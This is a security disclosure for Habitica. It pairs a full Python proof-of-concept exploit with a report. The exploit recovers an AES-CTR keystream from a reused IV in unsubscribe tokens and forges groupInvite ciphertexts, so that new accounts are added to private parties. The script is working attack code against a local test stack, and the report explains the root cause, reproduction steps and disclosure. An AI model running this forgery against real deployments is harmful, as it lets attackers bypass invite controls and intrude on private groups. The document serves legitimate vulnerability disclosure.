Full exploit script that orchestrates user creation, keystream recovery, ciphertext forgery, and verification against the live stack.
#!/usr/bin/env python3
"""Rung-3 PoC: forge a Habitica groupInvite via AES-CTR IV reuse."""
from __future__ import annotations
import json
import subprocess
import uuid
from collections import OrderedDict
from pathlib import Path
import requests
script_dir = Path(__file__).resolve().parent
repo_root = next(
path for path in [script_dir, *script_dir.parents]
if (path / "zn" / "scripts" / "up.sh").exists()
)
base_url = "http://localhost:3000"
up_script = repo_root / "zn" / "scripts" / "up.sh"
down_script = repo_root / "zn" / "scripts" / "down.sh"
config_script = repo_root / "zn" / "scripts" / "config.sh"
unsubscribe_helper = script_dir / "unsubscribe_code_helper.js"
container_repo_root = Path("/usr/src/habitica")
helper_path_inside_container = container_repo_root / unsubscribe_helper.relative_to(repo_root)
default_password = "CorrectHorseBatteryStaple1!"
http_timeout = 30
def _resolve_compose_file() -> Path:
command = f"source '{config_script}' && resolve_compose_file"
result = subprocess.run(
["bash", "-c", command],
cwd=repo_root,
capture_output=True,
text=True,
check=True,
)
return Path(result.stdout.strip())
compose_file = _resolve_compose_file()
def main():
print("[+] Rung-3 objective: turn an unsubscribe ciphertext into a forged groupInvite and auto-join a private party.")
session = requests.Session()
suffix = uuid.uuid4().hex[:6]
attacker_username = f"r3-attacker-{suffix}"
attacker_local_part = f"{attacker_username}.padding-{'x'*30}"
attacker_email = f"{attacker_local_part}@example.test"
print(f"[+] Registering attacker-controlled account {attacker_username} ...")
attacker = register_user(session, attacker_username, attacker_email)
print(f" -> Attacker _id: {attacker['id']}")
party_name = f"r3-private-party-{suffix}"
print(f"[+] Creating private party '{party_name}' to target ...")
party = create_private_party(session, attacker, party_name=party_name)
target_group_id = party["_id"]
print(f" -> Party created with _id {target_group_id}")
print("[+] Simulating attacker email capture: generating unsubscribe ciphertext via helper script inside the app container ...")
unsubscribe_cipher = fetch_unsubscribe_ciphertext(attacker["id"], attacker_email)
unsub_plaintext = canonical_json(OrderedDict([
("_id", attacker["id"]),
("email", attacker_email),
])).encode("utf-8")
keystream = recover_keystream(unsub_plaintext, unsubscribe_cipher)
print(f" -> Captured {len(keystream)} keystream bytes from unsubscribe link: {unsubscribe_cipher[:32]}...")
invite_plaintext = canonical_json(OrderedDict([
("id", target_group_id),
("inviter", attacker["id"]),
])).encode("utf-8")
forged_cipher = forge_ciphertext_hex(keystream, invite_plaintext)
print(f"[+] Forged ciphertext for malicious groupInvite: {forged_cipher[:48]}...")
victim_username = f"r3-victim-{suffix}"
victim_email = f"{victim_username}@example.test"
print(f"[+] Registering new victim account with forged groupInvite parameter ...")
victim = register_user(session, victim_username, victim_email, group_invite=forged_cipher)
print(f" -> Victim _id: {victim['id']}")
print("[+] Fetching victim profile to inspect pending invitations ...")
victim_state = fetch_user_state(session, victim)
party_invite = victim_state.get("invitations", {}).get("party") or {}
inviter_id = party_invite.get("inviter")
invite_group_id = party_invite.get("id")
if invite_group_id == target_group_id and inviter_id == attacker["id"]:
print("[+] SUCCESS: Newly created user automatically received the forged invite.")
print(f" -> invitations.party.id: {invite_group_id}")
print(f" -> invitations.party.inviter: {inviter_id}")
else:
print("[!] Victim invitations did not include the forged payload. Full invitations object:\n" + json.dumps(victim_state.get("invitations", {}), indent=2))
raise SystemExit(1)
def run_cmd(command, *, capture_output=False, env=None):
"""Run a command from the repo root."""
return subprocess.run(
command,
cwd=repo_root,
env=env,
capture_output=capture_output,
text=True,
check=True,
)
def run_in_server_container(command, *, capture_output=False, env=None):
"""Execute a command inside the docker compose 'server' service."""
env_args = []
if env:
for key, value in env.items():
env_args.append(f"{key}={value}")
full_command = [
"docker", "compose", "-f", str(compose_file), "exec", "-T", "server",
"env", *env_args, *command,
]
return run_cmd(full_command, capture_output=capture_output)
def start_stack():
"""Boot the Habitica docker stack."""
print(f"[+] Starting Habitica stack with {up_script.relative_to(repo_root)} ...")
run_cmd(["bash", str(up_script)])
def stop_stack():
"""Tear down the Habitica docker stack."""
print(f"[+] Stopping Habitica stack with {down_script.relative_to(repo_root)} ...")
try:
run_cmd(["bash", str(down_script)])
except subprocess.CalledProcessError as err:
print(f"[!] Stack shutdown reported an error: {err}")
def canonical_json(payload: OrderedDict) -> str:
"""Match Node's JSON.stringify output (no spaces, stable order)."""
return json.dumps(payload, separators=(",", ":"), ensure_ascii=False)
def recover_keystream(plaintext: bytes, ciphertext_hex: str) -> bytes:
cipher_bytes = bytes.fromhex(ciphertext_hex)
if len(cipher_bytes) != len(plaintext):
raise ValueError("Ciphertext length does not match plaintext length; IV reuse proof would fail.")
return bytes(cb ^ pb for cb, pb in zip(cipher_bytes, plaintext))
def forge_ciphertext_hex(keystream: bytes, forged_plaintext: bytes) -> str:
if len(keystream) < len(forged_plaintext):
raise ValueError("Recovered keystream is too short for the forged payload.")
forged = bytes(ks ^ pt for ks, pt in zip(keystream, forged_plaintext))
return forged.hex()
def register_user(session: requests.Session, username: str, email: str, *, group_invite: str | None = None) -> dict:
url = f"{base_url}/api/v3/user/auth/local/register"
if group_invite:
url += f"?groupInvite={group_invite}"
payload = {
"username": username,
"email": email,
"password": default_password,
"confirmPassword": default_password,
}
response = session.post(url, json=payload, timeout=http_timeout)
try:
response.raise_for_status()
except requests.HTTPError as err: # type: ignore[attr-defined]
raise RuntimeError(
f"Registration failed ({response.status_code}): {response.text}"
) from err
data = response.json()["data"]
return {
"id": data["_id"],
"apiToken": data["apiToken"],
"username": data["auth"]["local"]["username"],
"email": data["auth"]["local"]["email"],
}
def create_private_party(session: requests.Session, attacker: dict, *, party_name: str) -> dict:
headers = {
"x-api-user": attacker["id"],
"x-api-key": attacker["apiToken"],
"x-client": "rung3-poc",
}
payload = {
"name": party_name,
"type": "party",
"privacy": "private",
}
response = session.post(f"{base_url}/api/v3/groups", headers=headers, json=payload, timeout=http_timeout)
response.raise_for_status()
return response.json()["data"]
def fetch_unsubscribe_ciphertext(user_id: str, email: str) -> str:
if not unsubscribe_helper.exists():
raise SystemExit(f"Missing helper script: {unsubscribe_helper}")
result = run_in_server_container(
["node", str(helper_path_inside_container), user_id, email],
capture_output=True,
)
ciphertext = (result.stdout or "").strip()
if not ciphertext:
raise RuntimeError("Unsubscribe helper did not emit ciphertext")
return ciphertext
def fetch_user_state(session: requests.Session, user: dict) -> dict:
headers = {
"x-api-user": user["id"],
"x-api-key": user["apiToken"],
}
response = session.get(f"{base_url}/api/v3/user", headers=headers, timeout=http_timeout)
response.raise_for_status()
return response.json()["data"]
if __name__ == "__main__":
start_stack()
try:
main()
finally:
stop_stack()
by Corban Villa (corban.villa@berkeley.edu)
Habitica Vulnerability Report
Summary
Habitica’s encryption helper instantiates AES-256-CTR with a single IV baked into configuration, so every ciphertext generated by
encrypt()reuses the same keystream. Because transactional emails expose an unsubscribe token whose plaintext is fully known to the recipient, any user can recover that keystream and forgegroupInviteciphertexts that registration decrypts and trusts, causing new accounts to be added to private parties or guilds without a legitimate invitation.Impact
groupInvitequery parameter._handleGroupInvitationto accept it as authentic and queue invitations (or auto-join) for any private party or guild identified in the payload, bypassing invite moderation._idof the target group (visible to existing members or leaked via chat/invite messages).Affected Components
Tested commit: 55d13e44d4eb76f22ee4a32f533ad4f9237fc6bdFiles / functions: website/server/libs/encryption.js:7-25; website/server/libs/email.js:106-146; website/server/libs/invites/index.js:187-210; website/server/libs/auth/index.js:28-64,185-188.Configuration assumptions: default AES secrets are shared across encrypt() consumers; transactional emails are delivered; the/api/v3/user/auth/local/registerendpoint accepts groupInvite query parameters under default settings.Vulnerability Type
Category: Cryptographic misuse (AES-CTR IV reuse / unauthenticated encryption).CWE: CWE-323 – Reusing a Nonce, Key Pair in Encryption.Technical Root Cause
website/server/libs/encryption.jsloadsSESSION_SECRET_KEYand a singleSESSION_SECRET_IVat module scope and feeds them directly intocreateCipheriv/createDecipherivfor every message. AES-CTR requires a unique nonce per encryption, so reusing this IV makes all ciphertext bytes equal to plaintext ⊕ keystream.website/server/libs/email.js:106-146constructs unsubscribe URLs by encrypting{"_id":userId,"email":userEmail}, a plaintext fully known to the recipient, giving any user access to the keystream bytes for that length.website/server/libs/invites/index.js:187-210encrypts group invite payloads with the same helper and no MAC/signature, andwebsite/server/libs/auth/index.jssimply decrypts any suppliedgroupInvitequery parameter and mutatesuser.invitations.*based on the JSON fields. Nothing ties the ciphertext to a stored invite, so once the keystream is known the attacker can synthesize arbitrary invite payloads that the server accepts.Reproduction Steps
http://localhost:3000with default secrets and email generation.python run.pyto execute the exploit script against the running stack./api/v3/userfor the victim using the returned token) showinginvitations.party.idequal to the attacker’s private party andinvitations.party.inviterequal to the attacker’s user ID, demonstrating that the forged ciphertext was accepted.Proof of Concept
run.pyautomates the full attack: it boots the stack, registers attacker/victim accounts, derives the keystream from an unsubscribe token, forges a ciphertext for{ "id": <partyId>, "inviter": <attackerId> }, and confirms that registration enqueues the invite without any server-side validation.unsubscribe_code_helper.jsis executed inside the application container to reproduce the exact unsubscribe ciphertext Habitica emails, ensuring the recovered keystream matches production behavior.run.logcaptures one successful execution, including the repeated IV, recovered keystream prefix, forged ciphertext, and the victim’s invitation state proving impact.run.py (forge and register with malicious group invite)
Full exploit script that orchestrates user creation, keystream recovery, ciphertext forgery, and verification against the live stack.
unsubscribe_code_helper.js (replicates unsubscribe link generation)
Helper invoked inside the server container to emit the exact ciphertext Habitica would embed in an unsubscribe link for a given user ID and email.
run.log (successful exploit execution)
Execution log showing the static IV, recovered keystream bytes, forged ciphertext, and the victim account receiving the fabricated invite.
Suggested Patch
Here's a potential patch to address this vulnerability. It's been tested to compile and prevent the vulnerability from being exploited. It was implemented in the production environment in version 5.46.3, live March 12, 2026.
patch.diff
Responsible Disclosure
At the time of reporting, this repository does not have GitHub private vulnerability reporting enabled. To keep the disclosure process simple and coordinated, we recommend handling this via a GitHub Repository Security Advisory (Security -> Advisories): create a draft advisory to track discussion and remediation privately, then publish the advisory after a fix is released so downstream users can update promptly. (Optional: enable Private vulnerability reporting to add a “Report a vulnerability” button for future reports.)
References
Environment Configuration
We utilize these standardized harness scripts to start and stop environments across projects. We include these scripts to enable easier reproduction of our proof of concept code.
up.sh
down.sh
config.sh
Ethics
This report and PoC were produced with human oversight and manually validated. AI coding tools were used to help draft and implement parts of the analysis and reproduction, but all findings and exploitability claims were verified by the aforementioned researchers.